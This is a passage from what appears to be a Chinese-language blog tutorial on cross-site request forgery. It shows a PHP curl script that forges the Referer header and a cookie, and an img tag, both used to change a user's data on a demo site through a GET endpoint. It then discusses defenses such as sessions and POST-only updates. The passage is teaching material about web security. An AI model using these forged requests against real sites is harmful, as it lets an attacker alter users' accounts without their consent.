但是，这样就万事大吉了吗，如果http请求头被伪造了呢？A站点升级了防御，B站点同时也可以升级攻击，通过curl请求来实现csrf，修改B站点的csrf.php代码如下：
<?php $url = 'http://html5.yang.com/csrfdemo/get-update.php?uid=101&username=jsonp'; $refer = 'http://html5.yang.com/'; // curl方法发起csrf攻击 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); // 设置Referer curl_setopt($ch, CURLOPT_REFERER, $refer); // 这里需要携带上cookie, 因为A站点get-update.php对cooke进行了判断 curl_setopt($ch, CURLOPT_COOKIE, 'uid=101'); curl_exec($ch); curl_close($ch); ?> <img src="http://html5.yang.com/csrfdemo/get-update.php?uid=101&username=jsonp">这样同样可以实现csrf攻击的目的。那么就没有比较好的防范方法了吗？
4，小结
下面我们回到问题的开始，站点A通过cookie来跟踪用户会话，在cookie中存放了重要的用户信息uid，get-update.php脚本通过判断用户的cookie正确与否来决定是否更改用户信息，看来靠cookie来跟踪会话并控制业务逻辑是不太安全的，还有最严重的一点：get-update.php通过get请求来修改用户信息，这个是大忌。所以站点A可以接着升级防御：用session来代替cookie来跟踪用户会话信息，将修改用户信息的逻辑重写，只允许用post方法来请求用户信息。站点B同样可以升级攻击：curl可以构造post请求，劫持session等等，不过这些我还没研究过，后续再说吧。
